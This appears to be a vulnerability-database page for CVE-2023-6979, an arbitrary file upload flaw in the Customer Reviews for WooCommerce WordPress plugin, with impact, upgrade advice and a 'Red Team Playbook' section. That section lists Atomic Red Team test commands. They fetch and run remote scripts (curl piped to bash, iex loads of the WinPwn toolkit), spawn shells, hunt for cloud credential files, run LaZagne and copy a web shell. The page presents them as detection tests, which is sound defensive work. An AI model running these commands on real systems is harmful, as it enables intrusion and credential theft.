CVE-2023-6979
Overview
This vulnerability is an arbitrary file upload flaw caused by insufficient validation of file types in the ivole_import_upload_csv AJAX action within the Customer Reviews for WooCommerce WordPress plugin. The affected component is the file upload handler that processes CSV import requests, which fails to enforce proper file type restrictions. This weakness exists in all versions up to and including 5.38.9, allowing manipulation of uploaded content through the plugin's import-export functionality.
Vulnerability Description
The Customer Reviews for WooCommerce plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the ivole_import_upload_csv AJAX action in all versions up to, and including, 5.38.9. This makes it possible for authenticated attackers, with author-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An attacker with author-level access or higher can exploit this vulnerability to upload arbitrary files, potentially enabling remote code execution on the affected server. This can lead to full system compromise, unauthorized data access, or persistent backdoors. The exploit requires authentication with sufficient privileges (PR:L) but does not require user interaction (UI:N), and the attack can be executed remotely over the network (AV:N). The high CVSS score reflects the criticality of the impact on confidentiality, integrity, and availability (C:H/I:H/A:H).
Solution
Users should upgrade the Customer Reviews for WooCommerce plugin to version 5.39.0 or later, where the file upload validation flaw has been addressed. Detailed patch information and remediation steps are available in the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/4af801db-44a6-4cd3-bd1a-3125490c8c48. No official workaround exists; therefore, prompt updating is recommended to mitigate exploitation risk.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Customer Reviews for WooCommerce plugin for WordPress arises from inadequate validation of file types during the file upload process. Specifically, the ivole_import_upload_csv AJAX action lacks proper checks, allowing authenticated users with author-level access or higher to upload arbitrary files to the server. This oversight can lead to severe security implications, as it opens the door for attackers to upload malicious scripts or executables that could be executed on the server, potentially leading to remote code execution. The absence of stringent file type validation means that an attacker could bypass restrictions typically enforced by the web application, making it a critical vulnerability that needs immediate attention.
Attack vectors for this vulnerability are particularly concerning due to the ease with which an attacker can exploit it. An authenticated user, who may have legitimate access to the WordPress site, can leverage this flaw to upload files that are not restricted by the system. For instance, an attacker could upload a PHP web shell disguised as a CSV file. Once uploaded, the attacker can execute arbitrary commands on the server, manipulate data, or even pivot to other systems within the network. This exploitation scenario highlights the risk not only to the affected site but also to the broader infrastructure, as compromised servers can be used for further attacks or data breaches.
The real-world impact of this vulnerability can be substantial, particularly for e-commerce platforms relying on the Customer Reviews for WooCommerce plugin. A successful exploitation could lead to unauthorized access to sensitive customer data, including payment information and personal details. This could result in significant financial losses, legal ramifications, and damage to the organization's reputation. Furthermore, the potential for data breaches could lead to compliance issues with regulations such as GDPR or PCI DSS, which mandate strict data protection measures. The business risk is amplified by the fact that e-commerce sites are prime targets for attackers due to the sensitive nature of the data they handle.
To detect and mitigate this vulnerability, organizations should implement several strategies. First, it is crucial to update the Customer Reviews for WooCommerce plugin to the latest version, where this vulnerability has been addressed. Regularly updating all plugins and the WordPress core is a fundamental best practice in maintaining security. Additionally, organizations should conduct thorough security audits and vulnerability assessments to identify and remediate potential weaknesses in their systems. Implementing a Web Application Firewall (WAF) can also help filter out malicious file uploads and block suspicious activity. Lastly, employing strict user access controls and monitoring user actions can help limit the risk of exploitation by ensuring that only trusted users have the ability to upload files.
In conclusion, the vulnerability in the Customer Reviews for WooCommerce plugin represents a significant security risk due to its potential for arbitrary file uploads and subsequent remote code execution. The ease of exploitation, combined with the severe impact on business operations and data security, necessitates immediate attention from affected organizations. By adopting proactive detection and mitigation strategies, businesses can better protect themselves against this and similar vulnerabilities, ensuring the integrity and security of their online platforms.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cusrev | Customer Reviews For Woocommerce | All |
cpe:2.3:a:cusrev:customer_reviews_for_woocommerce:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-6979 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/4af801db-44a6-4cd3-bd1a-3125490c8c48?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/customer-reviews-woocommerce/trunk/includes/import-export/class-cr-reviews-importer.php#L35 |
| drive.proton.me |
GitHub CVE
|
https://drive.proton.me/urls/K4R2HDQBS0#iuTPm3NqZEdz |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3018507%40customer-reviews-woocommerce&new=3018507%40customer-reviews-woocommerce&sfp_email=&sfph_mail= |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3016708%40customer-reviews-woocommerce&new=3016708%40customer-reviews-woocommerce&sfp_email=&sfph_mail= |